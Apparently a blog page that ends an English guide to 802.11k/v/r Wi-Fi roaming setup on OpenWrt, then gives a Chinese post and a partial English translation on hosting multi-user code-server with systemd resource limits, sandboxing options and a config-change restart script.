Disables WNM Sleep Mode. WNM Sleep Mode is part of 802.11v and is mainly used for client power saving. The client can enter a special sleep state while the AP retains some context for it. This feature is typically not relied upon in home routers or multi-AP roaming scenarios, and compatibility with some devices may be problematic, so it is disabled here.

3. 802.11r: Fast Transition / Fast Roaming

Related configuration:

uci set wireless.ath0.ieee80211r='1'
uci set wireless.ath0.mobility_domain='cafe'
uci set wireless.ath0.reassociation_deadline='1000'
uci set wireless.ath0.ft_over_ds='0'
uci set wireless.ath0.ft_psk_generate_local='1'

3.1 `ieee80211r='1'`

Enables 802.11r Fast BSS Transition. The purpose of 802.11r is to shorten the authentication and reassociation time when a client switches from one AP to another. During a normal roam, the client may need to complete an entire authentication process again. 802.11r pre-derives part of the key material, allowing for a faster transition when the client decides to switch.

It does not dictate when the client should roam, but when the client does decide to roam, it makes the handover process faster.

Suitable for scenarios like:

Moving a phone between rooms
Voice calls
Video conferencing
Gaming
Multi-AP same-SSID environments

Note that:

Most modern devices support 802.11r
Some older or less compatible IoT devices may not like 802.11r
If you encounter devices that fail to connect, suspect 802.11r compatibility first

3.2 `mobility_domain='cafe'`

Sets the Mobility Domain. The Mobility Domain is the roaming domain identifier for 802.11r. Only APs within the same Mobility Domain will be considered by clients as part of the same fast roaming domain.

For a given SSID, all APs participating in 802.11r fast roaming should use the same mobility_domain.

Here we use:

uci set wireless.ath0.mobility_domain='cafe'

cafe is a 16-bit hexadecimal value (exactly 4 hex characters), akin to a magic number like DEADBEEF. This value can be customized, for example:

mobility_domain='1234'
mobility_domain='abcd'
mobility_domain='beef'

But note:

It must be identical within the same roaming network
It can differ between independent networks
It must be a 4-character hexadecimal string

3.3 `reassociation_deadline='1000'`

Sets the reassociation deadline. This parameter indicates the maximum time window allowed for the client to complete a Fast Transition reassociation. The unit is typically understood as TU (1 TU ≈ 1.024 ms). 1000 TU is approximately 1 second.

Simple understanding:

After the client initiates fast roaming, it needs to complete the reassociation within this time window.

In a home network, 1000 is a common, lenient, and safe choice. Too short a deadline might prevent some devices from completing the switch in time; too long generally offers no obvious benefit.

3.4 `ft_over_ds='0'`

Sets the Fast Transition method for 802.11r. 802.11r has two common modes:

FT over the Air
FT over DS Here we use FT over the Air:

uci set wireless.ath0.ft_over_ds='0'

(i.e., ft_over_ds is disabled, which enables FT over the Air).

FT over the Air

The client performs the fast transition directly with the target AP. This is the more common and intuitive method in non-enterprise environments.

FT over DS

The client communicates with the target AP through the currently connected AP over the distribution system. The networked device first contacts the new AP via the old AP, then completes the switch. In an actual home OpenWrt/QWRT multi-AP setup, it doesn't provide a significant advantage and may introduce device compatibility issues.

3.5 `ft_psk_generate_local='1'`

Allows the local AP to generate the keys required for 802.11r based on the PSK. In home network scenarios using WPA-PSK / SAE Mixed, the AP can locally derive the necessary key material for Fast Transition using the Wi‑Fi password.

Home networks typically do not have an enterprise authentication server, so this parameter can simply be turned on. Applicable scenarios:

WPA2-PSK
WPA2/WPA3 Mixed
SAE mixed (depending on firmware support)
Ordinary home networks without RADIUS

4. NAS ID: Unique Identity for Each BSS

uci set wireless.ath0.nasid='Master_2_4G'
uci set wireless.ath1.nasid='Master_5G'

4.1 `nasid='Master_2_4G'`

nasid stands for NAS Identifier, which is the identity of the current BSS. In 802.11r scenarios, it is used to differentiate between different APs / BSSs. Every wireless interface participating in roaming should have a unique nasid.

For example, on the main router:

ath0 -> Master_2_4G
ath1 -> Master_5G

And correspondingly on the satellite router:

2.4G -> Slave_2_4G
5G   -> Slave_5G

5. Why Configure the Same Parameters for All ath Interfaces?

Because ath0, ath1, and ath2 are three distinct wireless BSSs. Even if they broadcast the same SSID, they remain independent wireless interfaces within the system. Therefore, the 802.11k/v/r parameters must be applied to each interface separately.

This set of parameters can be summarized as:

Parameter	Protocol	Function
`ieee80211k`	802.11k	Enable radio resource measurement
`rrm_neighbor_report`	802.11k	Allow AP to provide neighbor AP list
`rrm_beacon_report`	802.11k	Allow client to report scanned beacon information
`ieee80211v`	802.11v	Enable wireless network management capabilities
`bss_transition`	802.11v	Allow AP to send roaming suggestions to clients
`time_advertisement`	802.11v	Time advertisement; typically disabled in home roaming
`wnm_sleep_mode`	802.11v	WNM power saving mode; typically disabled in home roaming
`ieee80211r`	802.11r	Enable fast roaming
`nasid`	802.11r / hostapd	Identifies current BSS; recommended to be unique
`mobility_domain`	802.11r	Sets fast roaming domain; must be consistent across all APs
`reassociation_deadline`	802.11r	Sets the time window for fast reassociation
`ft_over_ds`	802.11r	Selects FT method; `0` means FT over the Air
`ft_psk_generate_local`	802.11r	Generate FT keys locally based on PSK

Satellite Router

You can directly enable the corresponding settings in LuCI. Refer to my configuration: Apply the same settings to all three wireless interfaces, ensuring the NAS ID is unique for each.

Also, make sure the encryption settings are exactly the same on both ends. 802.11r only reduces the re-authentication time during roaming, but it requires that APs within the same roaming domain have consistent parameters: SSID, password, encryption method, Mobility Domain, etc.

If the main router uses WPA2-PSK and the satellite uses WPA2/WPA3 Mixed, or if one enables SAE/FT-SAE while the other only enables FT-PSK, clients may not be able to use the same Fast Transition process during roaming. This can manifest as:

Brief disconnection of the Wi‑Fi icon during roaming;
Re-performing the 4-Way Handshake after switching;
Stuttering in voice/video calls;
Inability of some IoT devices to connect.

Therefore, if the priority is stable whole-home roaming, it is recommended that all APs participating in the same SSID roaming use:

WPA2-PSK / AES-CCMP / FT-PSK

Which in OpenWrt/QWRT is commonly:

encryption='psk2+ccmp'
ieee80211r='1'
ft_psk_generate_local='1'
ft_over_ds='0'
mobility_domain='cafe'

WPA3/SAE can be put on a separate SSID for newer devices, and should not be mixed with the IoT / whole-home roaming main SSID.

Frequency Band Analysis

My home network environment is relatively complex. The main router is located in the center of the living room, which is openly connected to the kitchen and balcony, so the main router's signal can directly cover those areas. The satellite router is in the study, with bedrooms on both sides. The study and living room are connected by a short hallway, and Bedroom A is separated from the living room by the bathroom: The two asterisks mark the main router (living room) and the satellite router (study).

The frequency band data collected in each room is as follows: Master Bedroom

Study (the high red peak here is from the satellite router)

Second Bedroom

It can be observed that the channel in the master bedroom is fairly clean, the study has a strong signal thanks to the satellite router, but the second bedroom suffers from severe interference, coupled with a weaker signal. Additionally, our two APs (the two strongest red Wi‑Fi signals) are currently both crowded onto the same channels, resulting in actual speed tests of only about 80 Mbps.

Therefore, we need to make some minor adjustments to the channels and power levels, and also configure 802.11 k/v/r.

Tuning Power and Channels

The goal is to separate the channels and adjust coverage to reduce clients sticking to a distant access point. I used AI suggestions as a starting point; the settings still need to be checked against room layout, interference, and client behavior.

1. Channel Strategy: Reduce Interference Between the APs

2.4 GHz (Main 1 / Satellite 11): With the 20 MHz width used here, channels 1 and 11 reduce overlap between the two APs. The familiar 1/6/11 plan follows the same idea, but it does not remove interference from neighboring Wi-Fi, Bluetooth, or other sources.
5 GHz (Main 36 / Satellite 52): These settings use separate 80 MHz channel blocks. Channel 52 is subject to DFS; availability depends on local regulations and device support, and radar detection may require a channel change.

This reduces contention between my APs. It does not guarantee the lowest noise floor or maximum throughput, so the actual operating channels and room coverage still need checking.

2. Bandwidth Strategy: Balance Interference and Speed

2.4 GHz at 20 MHz: This occupies less spectrum than 40 MHz and suits coverage and IoT use in my crowded environment. It does not directly guarantee greater range or fewer dropouts.
5 GHz at 80 MHz: This is my main access band, balancing speed and spectrum use. In a more congested environment, a narrower channel may be worth testing.

3. Power Strategy: Adjust Coverage

2.4 GHz at 18 dBm / 20 dBm: The aim is to reduce excessive overlap and make distant APs less attractive. Lowering power too far can leave coverage gaps, so walking tests are needed.
5 GHz at 24 dBm / 23 dBm: The aim is to retain fast coverage in the rooms. Actual power remains subject to hardware and regulatory limits; increasing AP transmit power does not increase the phone's return-path capability.

These settings may influence band and AP selection, but they are not a dedicated band-steering mechanism and cannot force clients to prefer 5 GHz.

4. Roaming Coordination

11k (Neighbor Report) + 11v (BSS Transition Management): These provide supported clients with candidate AP information and transition suggestions. Whether suggestions are sent depends on the AP implementation and configuration; clients decide whether to accept them.
11r (Fast Transition): With matching SSID, security, and mobility-domain settings, this reduces key-negotiation overhead during a transition. Ordinary roaming does not require retyping the password either. Enabling 11r alone does not establish that a transition has no packet loss or service interruption.

The initial configuration and explanation drew on Gemini suggestions. The observations below describe the actual results.

The final configuration for band, bandwidth, and power is:

Main Router 192.168.3.1
- 2.4G: channel 1 / 20 MHz / 18 dBm
- 5G: channel 36 / 80 MHz / 24 dBm
Satellite Router 192.168.3.2
- 2.4G: channel 11 / 20 MHz / 20 dBm
- 5G: channel 52 / 80 MHz / 23 dBm

Results & Follow-up

In the final testing, connections defaulted to the main router in the living room, balcony, kitchen, and bathroom. In the second bedroom, it automatically switches to the satellite router. Closing the door in the study also triggers a switch from the main router to the satellite. It takes about 5 seconds from signal degradation to the actual switch. The master bedroom was inconsistent; sometimes it switches, sometimes it doesn't, but it switched in 3 out of 5 tests.

The 5 seconds is the observed time from signal degradation to the transition, not a measured 5-second network outage. This record does not include packet-loss or authentication-time measurements during the transition, so it does not establish seamless roaming.

Speed test after plugging into the 5 Gbps port: The actual measured downstream speed reached 1336.31 Mbps, and the upstream speed reached 158.16 Mbps. I guess that counts as a success? However, the perceived improvement in daily use isn't huge because, at the time of testing, very few platforms could saturate such speeds. Combined with current carrier strategies like QoS, speeds are rarely maxed out. Still, multi-threaded download tools like IDM might be able to take better advantage of it, I suppose?

充分利用systemd的特性构建多租户CodeServer

Sat, 06 Jun 2026 07:34:00 GMT

分析

起因是大学Python课，不想每次课都带笔记本过去太重了，尝试能不能一个平板就搞定。找来找去发现coder/code-server: VS Code in the browser很符合要求，同时还能兼顾跨平台。当时自己部署了一个玩玩，后来朋友他们也想要，就在思考怎么弄能够兼顾多用户使用和安全性。最开始考虑过容器化，后来想先用 Linux 用户和 venv 管理各自的文件与 Python 包，就选择了二进制部署。这里没有做容器和直接部署的性能对比。
需求很简单，大致概括如下：

每个用户可以用自己的域名登录进入CodeServer
每个用户可以自己修改登录密码
每个用户有独立的 Python 包环境，可自行安装 pip 包
用户间不应该能互相访问到对方的文件
防止用户误操作删掉系统关键组件
防止用户误操作写出死循环之类的耗尽服务器资源
防止用户利用服务器挖矿/做跳板攻击别人

经过分析和与ai的讨论，最终定下来的方案大致是这样：

利用 Linux 多用户机制，每个用户在自己的家目录下运行一个 CodeServer，通过文件所有权和权限限制互相访问。家目录应设置为仅本人可访问（如 0700），仅仅创建不同用户并不会自动隐藏所有文件；域名接入还需要另外配置反向代理。
监听端口根据uid计算。每个用户下手动创建一个venv，并通过.bashrc让用户启动shell的时候自动启用，解决需求3；
利用 systemd 限制资源占用和部分进程行为，减少误操作的影响。这不能阻止所有挖矿或滥用网络的行为。
利用systemd的Path机制监听$HOME/.config/code-server/config.yaml的修改并自动重启daemon，使得用户可以通过修改配置文件来改登录密码，较为优雅地实现需求2。

~~对于7，我觉得根据大一同学的计算机水平倒是不用太担心（应该吧？）~~
没有直接断网是因为考虑到有些需求需要联网下软件包，或者可能涉及到爬虫操作什么的。目前仍允许普通 IPv4/IPv6 出站连接，因此这些限制不能代替出站访问控制和对滥用行为的管理。
本文讨论不涉及SELinux，因为个人认为当前需求使用SELinux有点过度设计了，并且我也对SELinux/SEPolicy不太熟（这才是主要原因吧233），同时也想尽量让用户在合理使用过程中不受限制，因此并未使用SELinux来限制。

部署

配置systemd

下载下来codeserver二进制文件传到服务器上，比如我丢在/usr/bin/code-server。然后编写systemd配置，创建/etc/systemd/system/code-server@.service：

# /etc/systemd/system/code-server@.service
[Unit]
Description=Code-Server for %i
After=network.target

[Service]
Type=simple
User=%i
Group=%i
WorkingDirectory=/home/%i
MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
ReadWritePaths=/home/%i
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
# ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password"
ExecStart=/bin/bash -c ' \
    PORT=$((7000 + $(id -u %i) %% 10000)); \
    /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \
    '
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

这里创建的文件名是code-server@.service，@之后的内容会被当作%i替换。设计上是利用%i传递用户名称，计算端口并自启动。端口计算逻辑是7000+uid%10000，一般创建的uid是1000开始，因此正好按照创建顺序从8000开始监听端口。

ProtectSystem=strict 会让家目录也变成只读，因此用 ReadWritePaths=/home/%i 显式允许当前用户的工作目录写入。这个选项不会授予额外的文件权限，仍需正确设置家目录的所有权和权限。venv 只用于分开管理 Python 包，不是阻止用户访问宿主机或其他文件的安全沙盒。

值得注意的是这部分配置：

MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX

（我懒得解释了，让ai解释一下吧）它主要分为两个方面：资源限制（Resource Control） 和 安全沙盒隔离（Security and Sandboxing）。

一、资源限制 (Resource Control)

这部分利用 Linux 的 cgroups 机制，防止该服务消耗过多系统资源，影响其他程序运行。

MemoryMax=1G
- 作用： 将该服务所在 cgroup 的内存使用上限设为 1 GiB。
- 结果： 当服务所在 cgroup 的内存使用达到限制且无法通过回收缓解时，可能触发该组内的 OOM 处理。1G 在这里表示 1 GiB。
CPUQuota=150%
- 作用： 限制该服务的 CPU 使用率最高为 150%。
- 结果： 100% 代表一个完整的 CPU 核心。150% 意味着该服务最多可以占满一个核心，并使用第二个核心的一半（即最多使用 1.5 个 CPU 核心的算力）。
TasksMax=200
- 作用： 限制该服务可以创建的最大任务（进程或线程）数量为 200 个。
- 结果： 防止服务因为遭遇漏洞或死循环（如 Fork Bomb）而无限创建子进程，从而耗尽系统 PID 资源使系统崩溃。
IOWeight=50
- 作用： 设置磁盘 I/O（输入/输出）的权重。默认值通常是 100。
- 结果： 在底层设备和 I/O 控制器支持权重调度时，设置为 50 会降低它在竞争中的相对份额。这不是固定的读写速率上限，也不能保证其他服务不受影响。

二、安全与隔离 (Security & Isolation)

这部分限制服务对文件系统、设备和套接字的访问，用于减少误操作的影响及部分攻击路径。

ProtectSystem=strict
- 作用： 严格保护系统文件。
- 结果： 将文件系统层级设为只读，特殊 API 文件系统及显式配置的可写路径除外。这里通过 ReadWritePaths 保留用户家目录的写入能力；这种挂载限制不能替代内核漏洞修补。
PrivateTmp=yes
- 作用： 为该服务提供独立的临时文件目录。
- 结果： 服务会看到一个自己专属的 /tmp 和 /var/tmp 目录。它无法看到或修改其他用户/服务放在全局 /tmp 中的文件，反之亦然。这能有效防止基于临时文件的符号链接攻击或数据泄露。
PrivateDevices=yes
- 作用： 隔离物理设备。
- 结果： 为服务提供一个只含必要伪设备的私有 /dev，例如 /dev/null、/dev/zero 和 /dev/urandom，限制直接访问宿主机设备节点。这不等于隔离了所有可能的硬件访问路径。
NoNewPrivileges=yes
- 作用： 限制通过执行新程序获得额外权限。
- 结果： 服务及其子进程不能通过 execve() 利用 setuid/setgid 位或文件 capabilities 获得额外权限。它不能防住所有提权方式，例如直接利用内核漏洞修改进程凭据。
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
- 作用： 限制该服务可以使用的网络协议族。
- 结果： 允许创建以下地址族的套接字：
  - AF_INET：IPv4 网络通信
  - AF_INET6：IPv6 网络通信
  - AF_UNIX：本地 UNIX 域套接字（用于本地进程间通信）
- 在支持相应 seccomp 过滤的环境中，创建其他地址族套接字的调用会被限制。这可以缩小攻击面，但不限制 IPv4/IPv6 的连接目标，也不会撤销已经继承或传入的套接字。

创建新用户时直接：

adduser <username>
systemctl enable --now code-server@<username>

即可同时创建对应的CodeServer服务

配置修改密码自动重启

创建文件/etc/systemd/system/code-server-restart@.path:

# /etc/systemd/system/code-server-restart@.path
[Unit]
Description=Monitor code-server config change for %i
After=network.target

[Path]
PathChanged=/home/%i/.config/code-server/config.yaml

[Install]
WantedBy=multi-user.target

创建文件/etc/systemd/system/code-server-restart@.service：

[Unit]
Description=Triggered safe restart for %i

[Service]
Type=oneshot
User=root
ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i

[Install]
WantedBy=multi-user.target

这里的运行逻辑是这样的：

第一步：启动监控 (由 `.path` 文件负责)

系统或管理员启动了code-server-restart@<username>.path。
systemd会解析这个.path文件，将%i替换为用户名。
PathChanged=/home/<username>/.config/code-server/config.yaml：systemd 会在内核层面（利用 inotify 机制）开始静默监听这个特定路径的 config.yaml 文件。

第二步：检测变更并触发

在 code-server 网页端修改了设置，或者通过命令行直接编辑了 config.yaml 并保存。
PathChanged 检测到文件被修改并且被关闭（这意味着写入已完成，避免读到写了一半的脏数据）。
隐式绑定： 因为 .path 文件中没有使用 Unit= 显式指定要触发哪个服务，systemd 的默认行为是触发与它同名去掉后缀的 .service 文件。
于是，systemd 自动拉起 code-server-restart@<username>.service。

第三步：执行动作 (由 `.service` 文件负责)

systemd 开始执行 code-server-restart@<username>.service。同样，这里的 %i 也会被替换为用户名。
Type=oneshot：告诉系统这不是一个常驻后台的服务，而是一次性的任务。执行完就结束。
User=root：这个重启操作需要较高的权限，因此强制以 root 身份执行。
ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>：这是整个逻辑的最终落脚点。系统以 root 身份运行了这个自定义的 shell 脚本，并将用户名作为参数传递给它。

没有直接在restart.service里重启主daemon，因为考虑到CodeServer编辑文件是每修改一点就会自动保存，因此当用户修改密码过程中，可能会存在修改了一半就被触发重启，导致后面的部分没有成功写入的情况，因此编写了一个脚本，判断等文件没有修改之后才触发重启： /usr/local/bin/safe-restart-codeserver.sh

#!/bin/bash
USER_NAME=$1
CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml"
STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp"

# 1. 前置拦截：如果记录文件存在，且配置文件比记录文件旧（或时间相同）
# 说明这一次触发是 systemd 排队遗留下来的无意义事件，直接退出
if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then
    echo "Config hasn't changed since last restart, exiting."
    exit 0
fi

# 2. 原有的防抖等待逻辑（保持不变）
while true; do
    last_md5=$(md5sum "$CONFIG_FILE")
    sleep 5
    current_md5=$(md5sum "$CONFIG_FILE")
    
    if [ "$last_md5" == "$current_md5" ]; then
        # 文件稳定了，执行重启
        systemctl restart code-server@$USER_NAME
        
        # 3. 关键动作：重启成功后，更新时间戳文件的修改时间
        touch "$STAMP_FILE"
        break
    else
        echo "Config file for $USER_NAME is still changing, waiting..."
    fi
done

那个时间戳机制是为了防止多次触发导致无效重启，若检测到配置文件编辑时间早于上次重启时间则拒绝重启。

完成编辑后启用触发器：systemd enable --now code-server-restart@<username>.path（注意是.path不是.service），接着在web界面中尝试缓慢编辑config文件中的密码，查看日志就可以发现类似于如下记录：

○ code-server-restart@lyr.service - Triggered safe restart for lyr
     Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled)
     Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago
 Invocation: 0bd37fcb6ea44a58870c06b4fde5300c
TriggeredBy: ● code-server-restart@lyr.path
    Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS)
   Main PID: 6997 (code=exited, status=0/SUCCESS)
   Mem peak: 2.5M
        CPU: 43ms

Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr...
Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully.
Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr.

当停止编辑5秒之后CodeServer才会重启，后续可以使用新密码登录。

配置Python venv

首先系统里需要安装Python3，这就不多赘述了，包管理器直接装即可。同时安装一个python3-venv：

apt install python3-venv

接着，进入用户的家目录，我选择创建了一个名为.venv的文件夹用于存放虚拟环境。在.venv中执行python3 -m venv myvenv创建一个名叫myvenv的虚拟环境，并在用户的.bashrc后加上一行：

  fi
fi

+source ~/.venv/myvenv/bin/activate

之后，启动shell的时候就会自动启用venv。

为CodeServer安装Python插件并指派使用venv

这一步就不过多赘述了，在网页上给CodeServer安装Python和调试器插件，并指定Python解释器为venv下的python即可。

后记

其实这个配置很早就做了但是一直没写，当时还没爆出来 CopyFail 和 DirtyFrag 这样的漏洞。披露后，我在这套配置下运行了当时拿到的 PoC，测试中没有成功提权。这是对当时环境和样本的观察，不能推广为能防住所有相关变种。

从测试样本看，利用链需要创建 AF_ALG，或 AF_NETLINK、AF_RXRPC 等套接字，而这里的 RestrictAddressFamilies 没有允许这些地址族，因此可能在套接字创建阶段阻断这些利用路径。要确认具体阻断点，还需要结合对应 PoC、内核版本和系统日志分析。

NoNewPrivileges=yes 则限制了另一类路径：进程及其子进程不能在 execve() 时通过 setuid/setgid 位或文件 capabilities 获得额外权限。但它不阻止所有不经过 execve() 的权限变化，也不能保证受损的系统文件不会影响其他高权限进程。因此，系统及时更新仍然必要，不能用这套配置代替漏洞修补。

本文没有展开 SELinux，当前方案主要面向朋友共用、非关键业务的环境。systemd 的这些选项结合了 namespace、cgroup 和 seccomp 等机制，但不是完整的租户安全边界。SELinux/AppArmor 可以进一步限制进程访问，也不能保证挡住所有内核漏洞；面对互不信任的用户，还需要根据威胁模型评估更强的隔离方式。当然，这个方案也存在其他一些局限，比如当用户非常多，或者uid分配有特殊需求，超过10000时原先计算端口的方式可能会失效；对于科学计算等其他正常需求，目前的限制可能过于严格等。本文仅作为一种思路探讨和参考。

碎碎念：在容器化和云原生的时代，传统systemd还有很多值得我们去探求的特性可以做到很多事情呢……

参考文章：

Leveraging systemd Features to Build a Multi-tenant CodeServer

Sat, 06 Jun 2026 07:34:00 GMT

Analysis

The motivation came from a university Python course: I wanted to use a tablet rather than bring my heavy laptop to every class. coder/code-server: VS Code in the browser suited that use case. After I deployed it for myself, friends also wanted access. I considered containers, then chose a binary deployment with Linux users and venvs to manage each person's files and Python packages. I did not benchmark container performance against direct deployment.

The requirements are simple, roughly summarized as follows:

Each user can log into CodeServer using their own domain name.
Each user can change their own login password.
Each user has a separate Python package environment and can install pip packages independently.
Users should not be able to access each other's files.
Prevent users from accidentally deleting critical system components.
Prevent users from accidentally writing infinite loops or similar that exhaust server resources.
Prevent users from using the server for cryptocurrency mining or as a jump box for attacks.

After analysis and discussions with AI, the final solution is roughly as follows:

Run CodeServer under a separate Linux user and home directory, with ownership and permissions controlling file access. Home directories should be accessible only to their owners, for example with mode 0700; creating separate users alone does not hide every file. Domain access also requires a separate reverse-proxy configuration.
Listening ports are calculated based on UID. Create a venv manually for each user and activate it automatically via .bashrc to satisfy requirement 3.
Use systemd to limit resource consumption and some process operations. This reduces the impact of mistakes but cannot prevent all mining or network abuse.
Use systemd's path mechanism to monitor $HOME/.config/code-server/config.yaml and automatically restart the daemon, allowing users to change their login password by modifying the configuration file – a relatively elegant way to achieve requirement 2.

~~For requirement 7, given the computer literacy level of first-year students, I'm not too worried (I hope?).~~
I kept network access for package downloads and tasks such as web scraping. Ordinary IPv4/IPv6 outbound connections remain allowed, so these settings do not replace egress controls or abuse management.
This article does not cover SELinux, because in my opinion SELinux would be over-engineering for these requirements, and I'm not very familiar with SELinux/SEPolicy (that's the main reason lol). I also wanted to avoid imposing restrictions that hinder legitimate usage, so SELinux is not used.

Deployment

Configuring systemd

Download the CodeServer binary and upload it to the server – for example, I put it at /usr/bin/code-server. Then write the systemd service file, create /etc/systemd/system/code-server@.service:

# /etc/systemd/system/code-server@.service
[Unit]
Description=Code-Server for %i
After=network.target

[Service]
Type=simple
User=%i
Group=%i
WorkingDirectory=/home/%i
MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
ReadWritePaths=/home/%i
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
# ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password"
ExecStart=/bin/bash -c ' \
    PORT=$((7000 + $(id -u %i) %% 10000)); \
    /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \
    '
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

The filename is code-server@.service; the part after @ is substituted for %i. The design passes the username via %i, calculates the port, and starts automatically. The port calculation logic is 7000+uid%10000. Typically UIDs start from 1000, so ports start from 8000 in order of user creation.

ProtectSystem=strict also makes home directories read-only, so ReadWritePaths=/home/%i explicitly allows writes to this user's working directory. It does not grant additional filesystem permissions; ownership and permissions still need to be set correctly. A venv separates Python packages, but is not a security sandbox restricting access to the host or other files.

Note this part of the configuration:

MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX

(I'll let AI explain it) It mainly covers two aspects: Resource Control and Security & Sandboxing.

I. Resource Control

This uses Linux's cgroups mechanism to prevent the service from consuming excessive system resources and affecting other programs.

MemoryMax=1G
- Effect: Sets a 1 GiB memory limit for the service's cgroup.
- Outcome: If the service cgroup reaches its limit and memory reclaim cannot relieve the pressure, an OOM kill may occur within the group. Here, 1G means 1 GiB.
CPUQuota=150%
- Effect: Limits the service to at most 150% CPU usage.
- Outcome: 100% represents one full CPU core. 150% means the service can saturate one core and use half of a second core (i.e., up to 1.5 CPU cores' worth of compute).
TasksMax=200
- Effect: Limits the service to a maximum of 200 tasks (processes or threads).
- Outcome: Prevents the service from creating unlimited child processes due to bugs or infinite loops (e.g., fork bomb), which could exhaust system PID resources and crash the system.
IOWeight=50
- Effect: Sets the disk I/O priority weight. The default is usually 100.
- Outcome: Where the device and I/O controller support weighted scheduling, 50 reduces the service's relative share under contention. It is not a fixed throughput limit or a guarantee that other services remain unaffected.

II. Security & Isolation

These settings restrict access to filesystems, devices, and sockets to reduce the impact of mistakes and limit some attack paths.

ProtectSystem=strict
- Effect: Strictly protects system files.
- Outcome: Makes the filesystem hierarchy read-only, except for API filesystems and explicitly writable paths. Here, ReadWritePaths keeps the user's home writable. This mount restriction does not replace kernel security updates.
PrivateTmp=yes
- Effect: Provides an independent temporary directory for the service.
- Outcome: The service sees its own private /tmp and /var/tmp directories. It cannot see or modify files placed in the global /tmp by other users/services, and vice versa. This effectively prevents symlink attacks or data leaks based on temporary files.
PrivateDevices=yes
- Effect: Isolates physical devices.
- Outcome: Provides a private /dev with necessary pseudo-devices such as /dev/null, /dev/zero, and /dev/urandom, restricting direct access to host device nodes. This does not isolate every possible route to hardware access.
NoNewPrivileges=yes
- Effect: Restricts acquiring additional privileges by executing another program.
- Outcome: The service and its descendants cannot gain privileges through setuid/setgid bits or file capabilities during execve(). It does not prevent every escalation path, such as a kernel exploit that directly changes process credentials.
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
- Effect: Restricts the socket address families the service can use.
- Outcome: Allows creating sockets in these address families:
  - AF_INET: IPv4 network communication
  - AF_INET6: IPv6 network communication
  - AF_UNIX: local UNIX domain sockets (for local IPC)
- On systems supporting the relevant seccomp filtering, calls to create sockets in other address families are restricted. This reduces attack surface but does not restrict IPv4/IPv6 destinations or revoke sockets inherited or passed to the service.

When creating a new user, just run:

adduser <username>
systemctl enable --now code-server@<username>

to simultaneously create the corresponding CodeServer service.

Configuring password change auto-restart

Create /etc/systemd/system/code-server-restart@.path:

# /etc/systemd/system/code-server-restart@.path
[Unit]
Description=Monitor code-server config change for %i
After=network.target

[Path]
PathChanged=/home/%i/.config/code-server/config.yaml

[Install]
WantedBy=multi-user.target

Create /etc/systemd/system/code-server-restart@.service:

[Unit]
Description=Triggered safe restart for %i

[Service]
Type=oneshot
User=root
ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i

[Install]
WantedBy=multi-user.target

The logic works like this:

Step 1: Start monitoring (handled by the `.path` file)

The system or administrator starts code-server-restart@yms.path.
systemd parses the .path file, replacing %i with yms.
PathChanged=/home/yms/.config/code-server/config.yaml: systemd starts quietly listening (using the inotify mechanism) for changes to this specific config.yaml file at the kernel level.

Step 2: Detect change and trigger

The user modifies settings in the CodeServer web interface, or edits config.yaml via the command line and saves.
PathChanged detects that the file has been modified and closed (ensuring the write is complete and avoiding reading half-written dirty data).
Implicit binding: Because the .path file does not explicitly specify a service to trigger using Unit=, systemd's default behavior is to trigger the .service file with the same name (without the suffix).
systemd then automatically starts code-server-restart@yms.service.

Step 3: Execute the action (handled by the `.service` file)

systemd executes code-server-restart@yms.service. Again, %i is replaced with yms.
Type=oneshot: Tells the system this is not a long-running daemon but a one-shot task. It exits when done.
User=root: The restart operation requires higher privileges, so it's forced to run as root.
ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>: This is the final step in the logic. The system runs the custom shell script as root, passing the username as an argument.

We don't restart the main daemon directly inside the restart service because CodeServer auto-saves on every edit. There's a risk that during password changes, a half-edited file might trigger a restart, causing incomplete writes. So we write a script that waits until the file is stable before triggering the restart:

/usr/local/bin/safe-restart-codeserver.sh

#!/bin/bash
USER_NAME=$1
CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml"
STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp"

